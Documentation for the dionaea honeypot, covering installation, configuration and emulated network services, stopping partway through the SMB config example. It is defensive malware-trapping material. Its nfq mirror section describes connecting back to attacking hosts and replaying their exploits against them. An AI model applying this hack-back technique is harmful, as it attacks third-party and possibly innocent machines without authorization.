
dionaea Documentation

Release 0.7.0

dionaea

May 01, 2018

Contents

1	Introduction	3
1.1	How it works	3
1.2	Security	3
1.3	Network Connectivity	3
2	Installation	5
2.1	Basic stuff	5
2.2	Arch Linux	5
2.3	Ubuntu 16.04	6
2.4	Ubuntu 14.04	7
2.5	3rd-party packages	8
3	Configuration	9
3.1	dionaea	10
3.2	Logging	11
3.3	Modules	12
3.4	Processors	12
4	Running dionaea	13
5	Integration	15
5.1	DTAG Community Honeypot Project	15
5.2	DionaeaFR	15
5.3	DIY with log_json	15
5.4	Modern Honey Network(mhn)	16
6	Modules	17
6.1	curl	17
6.2	emu	17
6.3	pcap	17
6.4	python	17
7	Service	19
7.1	Black hole	19
7.2	EPMAP	20
7.3	FTP	20
7.4	HTTP	20

7.5	Memache	22
7.6	Mirror	22
7.7	MongoDB	22
7.8	MQTT	23
7.9	MSSQL	23
7.10	MySQL	23
7.11	nfq	24
7.12	PPTP	26
7.13	SIP (VoIP)	26
7.14	SMB	29
7.15	TFTP	31
7.16	UPnP	31
8	Logging (ihandler)	33
8.1	emuprofile	33
8.2	fail2ban	33
8.3	ftp	34
8.4	hpfeeds	34
8.5	log_db_sql	34
8.6	log_incident	35
8.7	log_json	36
8.8	log_sqlite	37
8.9	nfq	37
8.10	pOf	38
8.11	store	38
8.12	submit_http	38
8.13	submit_http_post	39
8.14	tftp_download	39
8.15	VirusTotal	39
9	Processors	41
9.1	Emu	41
9.2	Filter	41
9.3	Streamdumper	42
10	Contributing	43
10.1	Filing bug reports	43
10.2	Patches	43
10.3	Review	44
11	Development	45
11.1	Development	45
11.2	Logging	47
11.3	Incident	47
12	Changelog	49
12.1	0.8.0 - (master)	49
12.2	0.7.0 - (2018-05-01)	49
12.3	0.6.0 - (2016-11-14)	50
12.4	0.5.1 - 2016-09-05	51
12.5	0.5.0 - 2016-08-06	51
12.6	0.4.2 - 2016-07-02	52
12.7	0.4.1 - 2016-06-14	52
12.8	0.4.0 - 2016-05-31	52
12.9	0.3.0 - 2016-03-30	53

12.10 0.2.1 - 2014-07-16	54
12.11 0.2.0 - 2013-11-02	54
12.12 0.1.0	54
13 FAQ	55
13.1 Build/Install	55
13.2 Run	56
14 Tips and Tricks	59
14.1 Rotate bistream files	59
15 Support	61
15.1 Cui honorem, honorem	61
15.2 Support	61
15.3 Links	62
16 Exploitation	63
16.1 Payloads	63
17 Downloads	65
18 Submit	67
19 Configuration - dionaea.conf	69
19.1 logging	69
19.2 modules	70
20 Utils	73
21 Segfault	75
22 Tips and Tricks	79
22.1 Configuration	79
22.2 Completion and History on the CLI	79
22.3 Triggering Downloads	79
22.4 ftp	80
22.5 tftp	80
22.6 http	80
22.7 incidents	80
22.8 dumping	80
22.9 emu profile	80
22.10 CreateProcess Commands	81
22.11 URLDownloadToFile	81
22.12 WinExec Commands	81
23 Indices and tables	83

Dionaea is meant to be a nepenthes successor, embedding python as scripting language, using libemu to detect shell-codes, supporting ipv6 and tls

Warning: The documentation is work in progress.
--

Content:

1.1 How it works

dionaea's intention is to trap malware exploiting vulnerabilities exposed by services offered to a network, the ultimate goal is gaining a copy of the malware.

1.2 Security

As Software is likely to have bugs, bugs in software offering network services can be exploitable, and dionaea is software offering network services, it is likely dionaea has exploitable bugs.

Of course we try to avoid it, but if nobody would fail when trying hard, we would not need software such as dionaea.

So, in order to minimize the impact, dionaea can drop privileges, and chroot.

To be able to run certain actions which require privileges, after dionaea dropped them, dionaea creates a child process at startup, and asks the child process to run actions which require elevated privileges. This does not guarantee anything, but it should be harder to get root access to the system from an unprivileged user in a chroot environment.

1.3 Network Connectivity

Given the software's intended use, network io is crucial. All network io is within the main process in a so called non-blocking manner. To understand nonblocking, imagine you have many pipes in front of you, and these pipes can send you something, and you can put something into the pipe. If you want to put something into a pipe, while it is crowded, you'd have to wait, if you want to get something from a pipe, and there is nothing, you'd have to wait too. Doing this pipe game non-blocking means you won't wait for the pipes to be write/readable, you'll get something off the pipes once data arrives, and write once the pipe is not crowded. If you want to write a large chunk to the pipe, and the pipe is crowded after a small piece, you note the rest of the chunk you wanted to write, and wait for the pipe to get ready.

DNS resolves are done using libudns, which is a neat non-blocking dns resolving library with support for AAAA records and chained cnames. So much about non-blocking.

dionaea uses libev to get notified once it can act on a socket, read or write.

dionaea can offer services via tcp/udp and tls for IPv4 and IPv6, and can apply rate limiting and accounting limits per connections to tcp and tls connections - if required.

CHAPTER 2

Installation

At the time of writing the best choice to install dionaea on a server is to use *Ubuntu 14.04*, but below you can find how to install it (from source) on other distributions/operating systems.

2.1 Basic stuff

2.1.1 Download the source code

You can download the source code from the [release page](#) or by using the git command.

```
git clone https://github.com/DinoTools/dionaea.git
cd dionaea
```

2.2 Arch Linux

Packages for dionaea are available from the Arch User Repository (AUR). Use a package manager like yaourt that can handle and install packages from the AUR.

Before you start install the required build tools.

```
$ yaourt -S base-devel
```

After the requirements have been installed successfully you can install dionaea. This will checkout the latest sources from the git repository, run the build process and install the package.

```
$ yaourt -S dionaea-git
```

After the installation has been completed you may want to edit the config file `/etc/dionaea/dionaea.conf`. If everything looks fine the dionaea service can be started by using the following command.

```
$ sudo systemctl start dionaea
```

The log files and everything captured can be found in the directory `/var/lib/dionaea/`.

2.3 Ubuntu 16.04

2.3.1 From Source

Before you start *download the source code* of dionaea.

Install required build dependencies before configuring and building dionaea. ('ttf-liberation' required to 'util/gnuplotsql.py')

```
sudo apt-get install \  
    autoconf \  
    automake \  
    build-essential \  
    check \  
    cython3 \  
    libcurl4-openssl-dev \  
    libemu-dev \  
    libev-dev \  
    libglib2.0-dev \  
    libloudmouth1-dev \  
    libnetfilter-queue-dev \  
    libnl-3-dev \  
    libpcap-dev \  
    libssl-dev \  
    libtool \  
    libudns-dev \  
    python3 \  
    python3-dev \  
    python3-bson \  
    python3-yaml \  
    ttf-liberation
```

After all dependencies have been installed successfully run `autoreconf` to build or rebuild the build scripts.

```
autoreconf -vi
```

Run `configure` to configure the build scripts.

```
./configure \  
    --disable-werror \  
    --prefix=/opt/dionaea \  
    --with-python=/usr/bin/python3 \  
    --with-cython-dir=/usr/bin \  
    --with-ev-include=/usr/include/ \  
    --with-ev-lib=/usr/lib \  
    --with-emu-lib=/usr/lib/libemu \  
    --with-emu-include=/usr/include \  
    --with-nl-include=/usr/include/libnl3 \  
    --with-nl-lib=/usr/lib
```

Now you should be able to run `make` to build and run `make install` to install the honeypot.

```
make
sudo make install
```

The new honeypot can be found in the directory `/opt/dionaea`.

2.4 Ubuntu 14.04

2.4.1 Package based

Nightly packages are provided in a Personal Package Archive (PPA). Before you start you should update all packages to get the latest security updates.

```
$ sudo apt-get update
$ sudo apt-get dist-upgrade
```

First of all install the tools to easily manage PPA resources.

```
$ sudo apt-get install software-properties-common
```

After the required tools have been installed you can add the PPA and update the package cache.

```
$ sudo add-apt-repository ppa:honeydnet/nightly
$ sudo apt-get update
```

If everything worked without any errors you should be able to install the dionaea package.

```
$ sudo apt-get install dionaea
```

After the installation has been completed you may want to edit the config file `/etc/dionaea/dionaea.conf`. If everything looks fine the dionaea service can be started by using the following command.

```
$ sudo service dionaea start
```

The log files can be found in the directory `/var/log/dionaea/` and everything else captured and logged by the honeypot can be found in the directory `/var/lib/dionaea/`.

2.4.2 From Source

Before you start [download the source code](#) of dionaea.

Install required build dependencies before configuring and building dionaea.

```
$ sudo apt-get install \
    autoconf \
    automake \
    build-essential \
    check \
    cython3 \
    libcurl4-openssl-dev \
    libemu-dev \
    libev-dev \
    libglib2.0-dev \
    libloudmouth1-dev \
    libnetfilter-queue-dev \
```

```
libnl-dev \  
libpcap-dev \  
libssl-dev \  
libtool \  
libudns-dev \  
python3 \  
python3-dev \  
python3-bson \  
python3-yaml
```

After all dependencies have been installed successfully run `autoreconf` to build or rebuild the build scripts.

```
autoreconf -vi
```

Run `configure` to configure the build scripts.

```
./configure \  
--disable-werror \  
--prefix=/opt/dionaea \  
--with-python=/usr/bin/python3 \  
--with-cython-dir=/usr/bin \  
--with-ev-include=/usr/include \  
--with-ev-lib=/usr/lib \  
--with-emu-lib=/usr/lib/libemu \  
--with-emu-include=/usr/include \  
--with-nl-include=/usr/include/libnl3 \  
--with-nl-lib=/usr/lib
```

Now you should be able to run `make` to build and run `make install` to install the honeypot.

```
make  
sudo make install
```

The new honeypot can be found in the directory `/opt/dionaea`.

2.5 3rd-party packages

The packages below are 3rd party provided, which is appreciated. If you have compiled a package for your own distribution, just send me the link or make a pull request.

CHAPTER 3

Configuration

If you want to change the software, it is really important to understand how it works, therefore please take the time to how it works. `dionaea.cfg` is the main configuration file. In the example below you can see the default configuration.

Listing 3.1: `dionaea.cfg`

```
[dionaea]
download.dir=@LOCALESTATEDIR@/dionaea/binaries/
modules=curl,python,nfq,emu,pcap
processors=filter_streamdumper,filter_emu

listen.mode=getifaddrs
# listen.addresses=127.0.0.1
# listen.interfaces=eth0,tap0

# Country
# ssl.default.c=GB
# Common Name/domain name
# ssl.default.cn=
# Organization
# ssl.default.o=
# Organizational Unit
# ssl.default.ou=

[logging]
default.filename=@LOCALESTATEDIR@/dionaea/dionaea.log
default.levels=all
default.domains=*

errors.filename=@LOCALESTATEDIR@/dionaea/dionaea-errors.log
errors.levels=warning,error
errors.domains=*

[processor.filter_emu]
name=filter
```

```
config.allow.0.protocols=smbd,epmapper,nfqmirrord,mssqld
next=emu

[processor.filter_streamdumper]
name=filter
config.allow.0.types=accept
config.allow.1.types=connect
config.allow.1.protocols=ftpctrl
config.deny.0.protocols=ftpdata,ftpdatacon,xmppclient
next=streamdumper

[processor.streamdumper]
name=streamdumper
config.path=@LOCALESTATEDIR@/dionaea/bistreams/%Y-%m-%d/

[processor.emu]
name=emu
config.limits.files=3
#512 * 1024
config.limits.filesize=524288
config.limits.sockets=3
config.limits.sustain=120
config.limits.idle=30
config.limits.listen=30
config.limits.cpu=120
#// 1024 * 1024 * 1024
config.limits.steps=1073741824

[module.nfq]
queue=2

[module.nl]
# set to yes in case you are interested in the mac address of the remote (only works
↳ for lan)
lookup_ethernet_addr=no

[module.python]
imports=dionaea.log,dionaea.services,dionaea.ihandlers
sys_paths=default
service_configs=@SYSCONFDIR@/dionaea/services-enabled/*.yaml
ihandler_configs=@SYSCONFDIR@/dionaea/ihandlers-enabled/*.yaml

[module.pcap]
any.interface=any
```

3.1 dionaea

download.dir

Global download directory used by some *ihandlers*.

listen.mode:

There are basically three modes how dionaea can bind the services to IP addresses.

- **getifaddrs - auto** This will get a list of all IP addresses of all available interfaces and bind the

services to each IP. It is also possible to specify a list of interfaces to use by using the `listen.interfaces` parameter.

- **manual - your decision** In this mode you have to specify an additional parameter `listen.addresses`. This is a comma separated list of IP addresses dionaea should bind the services to.
- **nl, will require a list of interfaces** You have to specify a comma separated list of interfaces names with the `listen.interfaces` parameter. If an IP address is added to an interfaces or removed from an interface dionaea will lunch or stop all services for this IP.

modules

Comma separated list of *modules*.

processors

Comma separated list of *processors*.

ssl.default.c

Two letter id of the Country.

ssl.default.cn

The Common Name/domain name of the generated SSL/TLS certificate.

ssl.default.o

The Organization name.

ssl.default.ou

The name of the Organizational Unit.

3.2 Logging

dionaea has a general application log. This logs are ment to be used for debugging and to track errors. It is not recommended to analyse this files to track attacks.

filename

The filename of the logfile.

levels

Only log messages that match the specified log level get logged to the logfile.

Available log levels:

- debug
- info
- warning
- error
- critical
- all = Special log level including all log levels

Examples:

Listing 3.2: Log only messages with level warning and error

```
errors.levels=warning,error
```

Listing 3.3: Log all log messages but exclude messages with log level debug

```
errors.levels=all,-debug
```

domain

Only log messages in a specified domain.

3.3 Modules

Only modules specified by the `modules` value in the `dionaea` section are loaded during the start up.

Every module might have its own config section with additional config parameters. The section name consists of the prefix `module` and the module name speratated by a dot(.).

See the [Modules](#) documentation to find more information on how to configure the modules.

3.4 Processors

The specified processors will be used as an entry point in the processing pipeline. In most cases the initial processor will be a `filter processor` `<processor/filter>`. The next processor in the pipeline is specified by the `next` parameter.

See the [Processors](#) documentation to find more information on how to configure the processors.

CHAPTER 4

Running dionaea

The software has some flags you can provide at startup, the `-h` flag shows the help, the `-H` includes the default values.

```
$ /opt/dionaea/bin/dionaea -H
  -c, --config=FILE          use FILE as configuration file
                             Default value/behaviour: /opt/dionaea/etc/dionaea/
                             ↪ dionaea.cfg
  -D, --daemonize            run as daemon
  -g, --group=GROUP          switch to GROUP after startup (use with -u)
                             Default value/behaviour: keep current group
  -G, --garbage=[collect|debug] garbage collect, usefull to debug memory leaks,
                             does NOT work with valgrind
  -h, --help                display help
  -H, --large-help          display help with default values
  -l, --log-levels=WHAT     which levels to log, valid values
                             all, debug, info, message, warning, critical, error
                             combine using ',', exclude with - prefix
  -L, --log-domains=WHAT    which domains use * and ? wildcards, combine using
                             ↪ ',',
                             exclude using -
  -u, --user=USER           switch to USER after startup
                             Default value/behaviour: keep current user
  -p, --pid-file=FILE       write pid to file
  -r, --chroot=DIR          chroot to DIR after startup
                             Default value/behaviour: don't chroot
  -V, --version             show version
  -w, --workingdir=DIR      set the process' working dir to DIR
                             Default value/behaviour: /opt/dionaea

examples:
  # dionaea -l all,-debug -L '*'
  # dionaea -l all,-debug -L 'con*,py*'
  # dionaea -u nobody -g nogroup -w /opt/dionaea -p /opt/dionaea/var/run/dionaea.pid
```


A list of applications and tools to collect information exported by dionaea.

5.1 DTAG Community Honeypot Project

The [DTAG Community Honeypot Project](#) has been started in 2010 by a small group of enthusiasts of the [Deutsche Telekom](#). They are maintaining T-Pot a Multi-Honeypot Platform. It is based on well established honeypots including dionaea.

- Website: [DTAG Community Honeypot Project](#)
- Status: active

5.2 DionaeaFR

[DionaeaFR](#) is a web-frontend to display attack information. It uses the SQLite database provided by the `log_sqlite` ihandler.

- Website: [DionaeaFR](#)
- Status: unmaintained since 2014

5.3 DIY with log_json

You can use the `log_json` incident handler in combination with an [ELK stack](#) to collect, aggregate and visualize attack information.

- Website: [ELK stack](#)
- Status: active

5.4 Modern Honey Network(mhn)

A tool to deploy honeypots, collect attack information and display aggregated statistics.

- Website: [Modern Honey Network](#)
- Status: active, but deploys an pre 0.2(2014) version of dionaea by default.

The subsections name is the name of the module dionaea will try to load, most modules got rather simplistic names, the pcap module will use libpcap, the curl module libcurl, the emu module libemu ... The python module is special, as the python module can load python scripts, which offer services, and each services can have its own options.

List of available modules

6.1 curl

The curl module is used to transfer files from and to servers, it is used to download files via http as well as submitting files to 3rd parties.

6.2 emu

The emu module is used to detect, profile and - if required - execute shellcode.

6.3 pcap

The pcap module uses the libpcap library to detect rejected connection attempts, so even if we do not accept a connection, we can use the information somebody wanted to connect there.

6.4 python

The python module allows using the python interpreter in dionaea, and allows controlling some scripts dionaea uses

Network services speak a certain language, this language is called protocol. When we started deploying honeypots, you could trap worms just by opening a single port, and wait for them to connect and send you an url where you could download a copy of the worm. The service getting attacked was the backdoor of the bagle mailworm, and it did not require and interaction. Later on, the exploitations of real services got more complex, and you had to reply something to the worm to fool him. Nowadays worms use API to access services, before sending their payload. To allow easy adjustments to the proctol, dionaea implements the protocols in python. There is a glue between the network layer which is done in the c programming language and the embedded python scripting language, which allows using the non-blocking connections in python. This has some benefits, for example we can use non-blocking tls connections in python, and we even get rate limiting on them (if required), where pythons own io does not offer such things. On the other hand, it is much more comfortable to implement protocols in python than doing the same in c.

List of available services

7.1 Black hole

The black hole module can be used to bind a service to a port. The service does not respond to any submitted data. But the bistreams can be used to create new modules.

7.1.1 Example config

Listing 7.1: services/blackhole.yaml

```
- name: blackhole
  config:
    services:
      # Telnet
      - port: 23
        protocol: tcp

      # DNS
      - port: 53
```

```
    protocol: udp
  - port: 53
    protocol: tcp

  # NTP
  - port: 123
    protocol: udp
```

7.2 EPMAP

7.2.1 Example config

Listing 7.2: services/epmap.yaml

```
- name: epmap
```

7.3 FTP

Dionaea provides a basic ftp server on port 21, it can create directories and upload and download files. From my own experience there are very little automated attacks on ftp services and I'm yet to see something interesting happening on port 21.

7.3.1 Example config

Listing 7.3: services/ftp.yaml

```
- name: ftp
  config:
    root: @LOCALESTATEDIR@/dionaea/roots/ftp
    response_messages:
      welcome_msg: 220 DiskStation FTP server ready.
```

7.4 HTTP

Dionaea supports http on port 80 as well as https, but there is no code making use of the data gathered on these ports. For https, the self-signed ssl certificate is created at startup.

7.4.1 Configure

Example configuration:

```
- name: http
  config:
    root = "var/dionaea/wwwroot"
```

default_headers

Default header fields are send if none of the other header patterns match.

global_headers

Global header fields are added to all response headers.

headers

List of header fields to be used in the response header. Only applied if filename_pattern, status_code and methods match. The first match in the list is used.

max_request_size

Maximum size in kbytes of the request. 32768 = 32MB

root

The root directory so serve files from.

7.4.2 Example config

Listing 7.4: services/http.yaml

```
- name: http
  config:
    root: "@LOCALESTATEDIR@dionaea/roots/www"
    ports:
      - 80
    ssl_ports:
      - 443
    max_request_size: 32768 # maximum size in kbytes of the request (32MB)
    global_headers:
      - ["Server", "nginx"]
    headers:
      - filename_pattern: ".*\\.php"
        headers:
          - ["Content-Type", "text/html; charset=utf-8"]
          - ["Content-Length", "{content_length}"]
          - ["Connection", "{connection}"]
          - ["X-Powered-By", "PHP/5.5.9-lubuntu4.5"]
      # soap_enabled: false
    template:
      # set to true to enable template processing
      # this feature requires jinja2 template engine http://jinja.pocoo.org/
      enabled: false
      file_extension: .j2
      path: "@LOCALESTATEDIR@dionaea/share/python/http/template/nginx"
      templates:
        autoindex:
          filename: autoindex.html.j2
        error_pages:
          - filename: error.html.j2
            # - filename: error/{code}.html.j2
      # used to specify additional template values
      values:
        # full_name: nginx/1.1
```

7.4.3 Additional examples

Set the Server response field.

```
- name: http
  config:
    global_headers:
      - ["Server", "nginx"]
```

Define headers to use if the filename matches a pattern.

```
- name: http
  config:
    headers:
      - filename_pattern: ".*\\.php"
        headers:
          - ["Content-Type", "text/html; charset=utf-8"]
          - ["Content-Length", "{content_length}"]
          - ["Connection", "{connection}"]
          - ["X-Powered-By", "PHP/5.5.9-1ubuntu4.5"]
```

7.5 Memache

Dionaea can emulate a very basic memcached server.

7.5.1 Configure

7.5.2 Example config

Listing 7.5: services/memcache.yaml

```
- name: memcache
```

7.6 Mirror

7.6.1 Example config

Listing 7.6: services/mirror.yaml

```
- name: mirror
```

7.7 MongoDB

This module add initial support to emulates a *MongoDB* server with the dionaea honeypot. At the moment it is very limited and the functionality might be improved in one of the next releases.

7.7.1 Requirements

- bson module for Python 3

7.7.2 Example config

Listing 7.7: services/mongo.yaml

```
- name: mongo
```

7.8 MQTT

7.8.1 Example config

Listing 7.8: services/mqtt.yaml

```
- name: mqtt
```

7.9 MSSQL

This module implements the Tabular Data Stream protocol which is used by Microsoft SQL Server. It listens to tcp/1433 and allows clients to login. It can decode queries run on the database, but as there is no database, dionaea can't reply, and there is no further action. Typically we always get the same query:

```
exec sp_server_info 1 exec sp_server_info 2 exec sp_server_info 500 select 501,NULL,1
↪where 'a'='A' select 504,c.name,c.description,c.definition from master.dbo.
↪syscharsets c,master.dbo.syscharsets c1,master.dbo.sysconfigures f where f.
↪config=123 and f.value=c1.id and c1.csid=c.id set textsize 2147483647 set
↪arithabort on
```

Refer to the blog <http://carnivore.it/2010/09/11/mssql_attacks_examined> for more information. Patches would be appreciated.

7.9.1 Example config

Listing 7.9: services/mssql.yaml

```
- name: mssql
```

7.10 MySQL

This module implements the MySQL wire stream protocol - backed up by sqlite as database. Please refer to 2011-05-15 Extending Dionaea <http://carnivore.it/2011/05/15/extending_dionaea> for more information.

7.10.1 Example config

Listing 7.10: services/mysql.yaml

```
- name: mysql
  config:
    databases:
      information_schema:
        path: ":memory:"
        # example how to extend this
        # just provide a databasename and path to the database
        # the database can be altered by attackers, so ... better use a copy
#   psn:
#   path: "/path/to/cc_info.sqlite"
```

7.11 nfq

The python nfq script is the counterpart to the nfq module. While the nfq module interacts with the kernel, the nfq python script takes care of the required steps to start a new service on the ports. nfq can intercept incoming tcp connections during the tcp handshake giving your honeypot the possibility to provide service on ports which are not served by default.

As dionaea can not predict which protocol will be spoken on unknown ports, neither implement the protocol by itself, it will connect the attacking host on the same port, and use the attackers server side protocol implementation to reply to the client requests of the attacker therefore dionaea can end up re?exploiting the attackers machine, just by sending him the exploit he sent us.

The technique is a brainchild of Tillmann Werner, who used it within his honeytrap <<http://honeytrap.carnivore.it>> honeypot. Legal boundaries to such behaviour may be different in each country, as well as ethical boundaries for each individual. From a technical point of view it works, and gives good results. Learning from the best, I decided to adopt this technique for dionaea. Besides the legal and ethical issues with this approach, there are some technical things which have to be mentioned

port scanning

If your honeypot gets port scanned, it would open a service for each port scanned, in worst case you'd end up with offering 64k services per ip scanned. By default you'd run out of fds at about 870 services offered, and experience weird behaviour. Therefore the impact of port scanning has to be limited. The kiss approach taken here is a sliding window of *throttle.window* seconds size. Each slot in this sliding window represents a second, and we increment this slot for each connection we accept. Before we accept a connection, we check if the sum of all slots is below *throttle.limits.total*, else we do not create a new service. If the sum is below the limit, we check if the current slot is below the slot limit too, if both are given, we create a new service. If one of the condition fails, we do not spawn a new service, and let nfqueue process the packet. There are two ways to process packets which got throttled:

- **NF_ACCEPT** (=1), which will let the packet pass the kernel, and as there is no service listening, the packet gets rejected.
- **NF_DROP** (=0), which will drop the packet in the kernel, the remote does not get any answer to his SYN.

I prefer NF_DROP, as port scanners such as nmap tend to limit their scanning speed, once they notice packets get lost.

recursive-self-connecting

Assume some shellcode or download instructions makes dionaea to

- connect itself on a unbound port
- nfq intercepts the attempt
- spawns a service
- accepts the connection #1
- creates mirror connection for connection #1 by connecting the remotehost (itself) on the same port #2
- accepts connection #2 as connection #3
- creates mirror connection for connection #3 by connecting the remotehost (itself) on the same port #4
- ...

Such recursive loop, has to be avoided for obvious reasons. Therefore dionaea checks if the remote host connecting a nfq mirror is a local address using ‘getifaddrs’ and drops local connections.

So much about the known problems and workarounds ...

If you read that far, you want to use it despite the technical/legal/ethical problems. So ... You’ll need iptables, and you’ll have to tell iptables to enqueue packets which would establish a new connection. I recommend something like this:

```
iptables -t mangle -A PREROUTING -i eth0 -p tcp -m socket -j ACCEPT
iptables -t mangle -A PREROUTING -i eth0 -p tcp --syn -m state --state NEW -j NFQUEUE
↳ --queue-num 5
```

Explanation:

1. ACCEPT all connections to existing services
2. enqueue all other packets to the NFQUEUE

If you have dionaea running on your NAT router, I recommend something like:

```
iptables -t mangle -A PREROUTING -i ppp0 -p tcp -m socket -j ACCEPT
iptables -t mangle -A PREROUTING -i ppp0 -p tcp --syn -m state --state NEW -j MARK --
↳ set-mark 0x1
iptables -A INPUT -i ppp0 -m mark --mark 0x1 -j NFQUEUE
```

Explanation:

1. ACCEPT all connections to existing services in mangle::PREROUTING
2. MARK all other packets
3. if we see these marked packets on INPUT, queue them

Using something like:

```
iptables -A INPUT -p tcp --tcp-flags SYN,RST,ACK,FIN SYN -j NFQUEUE --queue-num 5
```

will enqueue /all/ SYN packets to the NFQUEUE, once you stop dionaea you will not even be able to connect to your ssh daemon.

Even if you add an exemption for ssh like:

```
iptables -A INPUT -i eth0 -p tcp --syn -m state --state NEW --destination-port ! 22 -
↳ j NFQUEUE
```

dionaea will try to create a new service for /every/ incoming connection, even if there is a service running already. As it is easy to avoid this, I recommend sticking with the recommendation. Besides the already mention throttle settings, there are various timeouts for the nfq mirror service in the config. You can control how long the service will wait for new connections (/timeouts.server.listen/), and how long the mirror connection will be idle (/timeouts.client.idle/) and sustain (/timeouts.client.sustain/).

7.12 PPTP

7.12.1 Example config

Listing 7.11: services/pptp.yaml

```
- name: pptp
  config:
    # Cisco PIX
    #   firmware_revision: 4608
    #   hostname:
    #   vendor_name: Cisco Systems

    # DrayTek
    #   firmware_revision: 1
    #   hostname: Vigor
    #   vendor_name: DrayTek

    # Linux
    #   firmware_revision: 1
    #   hostname: local
    #   vendor_name: linux

    # Windows
    #   firmware_revision: 0
    #   hostname:
    #   vendor_name: Microsoft

    # MikroTik router
    #   firmware_revision: 1
    #   hostname: MikroTik
    #   vendor_name: MikroTik
```

7.13 SIP (VoIP)

This is a VoIP module for the honeypot dionaea. The VoIP protocol used is SIP since it is the de facto standard for VoIP today. In contrast to some other VoIP honeypots, this module doesn't connect to an external VoIP registrar/server. It simply waits for incoming SIP messages (e.g. OPTIONS or even INVITE), logs all data as honeypot incidents and/or binary data dumps (RTP traffic), and reacts accordingly, for instance by creating a SIP session including an RTP audio channel. As sophisticated exploits within the SIP payload are not very common yet, the honeypot module doesn't pass any code to dionaea's code emulation engine. This will be implemented if we spot such malicious messages. The main features of the VoIP module are:

- Support for most SIP requests (OPTIONS, INVITE, ACK, CANCEL, BYE)
- Support for multiple SIP sessions and RTP audio streams
- Record all RTP data (optional)

- Set custom SIP username and secret (password)
- Set custom useragent to mimic different phone models
- Uses dionaea's incident system to log to SQL database

7.13.1 Personalities

A personality defines how to handle a request. At least the 'default' personality MUST exist. The following options are available per personality.

serve

A list of IP addresses to use this personality for.

handle

List of SIP methods to handle.

7.13.2 SIP Users

You can easily add, change or remove users by editing the SQLite file specified by the 'users = ""' parameter in the config file. All users are specified in the users table.

username

Specifies the name of the user. This value is treated as regular expression. See Python: Regular Expressions <<http://docs.python.org/py3k/library/re.html>> for more information.

password

The password.

personality

The user is only available in the personality specified by this value. You can define a personality in the config file.

pickup_delay_min

This is an integer value. Let the phone ring for at least this number of seconds.

pickup_delay_max

This is an integer value. Maximum number of seconds to wait before dionaea picks up the phone.

action

This value isn't in use, yet.

sdp

The name of the SDP to use. See table 'sdp'.

7.13.3 SDP

All SDPs can be defined in the sdp table in the users database.

name

Name of the SDP

sdp

The value to use as SDP

The following values are available in the SDP definition.

{addrtype}

Address type. (IP4 or IP6)

{unicast_address}

RTP address

{audio_port}

Dionaea audio port.

{video_port}

Dionaea video port.

The following control parameters are available in the SDP definition.

[audio_port]...content...[/audio_port]

The content is only available in the output if the audio_port value is set.

[video_port]...content...[/video_port]

The content is only available in the output if the video_port value is set.

Example:

```
v=0
o=- 1304279835 1 IN {addrtype} {unicast_address}
s=SIP Session
c=IN {addrtype} {unicast_address}
t=0 0
[audio_port]
m=audio {audio_port} RTP/AVP 111 0 8 9 101 120
a=sendrecv
a=rtpmap:111 Speex/16000/1
a=fmtp:111 sr=16000,mode=any
a=rtpmap:0 PCMU/8000/1
a=rtpmap:8 PCMA/8000/1
a=rtpmap:9 G722/8000/1
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-16,32,36
a=rtpmap:120 NSE/8000
a=fmtp:120 192-193
[/audio_port]
[video_port]
m=video {video_port} RTP/AVP 34 96 97
c=IN {addrtype} {unicast_address}
a=rtpmap:34 H263/90000
a=fmtp:34 QCIF=2
a=rtpmap:96 H263-1998/90000
a=fmtp:96 QCIF=2
a=rtpmap:97 H263-N800/90000
[/video_port]
```

7.13.4 Example config

Listing 7.12: services/sip.yaml

```

- name: sip
  config:
    udp_ports:
      - 5060
    tcp_ports:
      - 5060
    tls_ports:
      - 5061
    users: "@LOCALESTATEDIR@dionaea/sipaccounts.sqlite"
    rtp:
      enable: true
      # how to dump the rtp stream
      # bistream = dump as bistream
    modes:
      - bistream
      - pcap
    pcap:
      path: "var/dionaea/rtp/{personality}/%Y-%m-%d/"
      filename: "%H:%M:%S_{remote_host}_{remote_port}_in.pcap"
    personalities:
      default:
        domain: "localhost"
        name: "softphone"
        personality: "generic"
      # next-server:
      #   domain: "my-domain"
      #   name: "my server"
      #   personality: "generic"
      #   serve: ["10.0.0.1"]
      #   default_sdp: "default"
      #   handle: ["REGISTER", "INVITE", "BYE", "CANCEL", "ACK"]

    actions:
      bank-redirect:
        do: "redirect"
        params:
      play-hello:
        do: "play"
        params:
          file: "var/dionaea/.../file.ext"

```

7.14 SMB

The main protocol offered by dionaea is SMB. SMB has a decent history of remote exploitable bugs, and is a very popular target for worms. dionaea's SMB implementation makes use of a python3 adapted version of scapy. As scapy's own version of SMB was pretty limited, almost everything but the Field declarations had to be rewritten. The SMB emulation written for dionaea is used by the mwcollectd <<http://code.mwcollect.org>> low interaction honeypot too. Besides the known attacks on SMB dionaea supports uploading files to smb shares. Adding new DCE remote procedure calls is a good start to get into dionaea code, you can use:

```

SELECT
    COUNT(*) ,
    dcerpcrequests.dcerpcrequest_uuid,

```

```

        dcerpcservice_name,
        dcerpcrequest_opnum
FROM
    dcerpcrequests
    JOIN dcerpcservices ON (dcerpcrequests.dcerpcrequest_uuid == dcerpcservices.
↳ dcerpcservice_uuid)
    LEFT OUTER JOIN dcerpcserviceops ON (dcerpcserviceops.dcerpcserviceop_opnum =
↳ dcerpcrequest_opnum AND dcerpcservices.dcerpcservice = dcerpcserviceops.
↳ dcerpcservice )
WHERE
    dcerpcserviceop_name IS NULL
GROUP BY
    dcerpcrequests.dcerpcrequest_uuid, dcerpcservice_name, dcerpcrequest_opnum
ORDER BY
    COUNT(*) DESC;

```

to identify potential usefull targets of unknown dcerpc calls using the data you gathered and stored in your logsq database. Patches are appreciated.

7.14.1 Example config

Listing 7.13: services/smb.yaml

```

- name: smb
  config:

    ## Generic setting ##

    # 1:"Windows XP Service Pack 0/1",
    # 2:"Windows XP Service Pack 2",
    # 3:"Windows XP Service Pack 3",
    # 4:"Windows 7 Service Pack 1",
    # 5:"Linux Samba 4.3.11"
    #   os_type: 2

    # Additional config
    #   primary_domain: Test
    #   oem_domain_name: Test
    #   server_name: TEST-SERVER

    ## Windows 7 ##
    #   native_os: Windows 7 Professional 7600
    #   native_lan_manager: Windows 7 Professional 6.1
    #   shares:
    #     ADMIN$:
    #       comment: Remote Admin
    #       path: C:\\Windows
    #       type: disktree
    #     C$:
    #       coment: Default Share
    #       path: C:\\
    #       type:
    #         - disktree
    #         - special
    #     IPC$:
    #       comment: Remote IPC

```

```
#     type: ipc
#     Printer:
#       comment: Microsoft XPS Document Writer
#       type: printq

## Samba ##
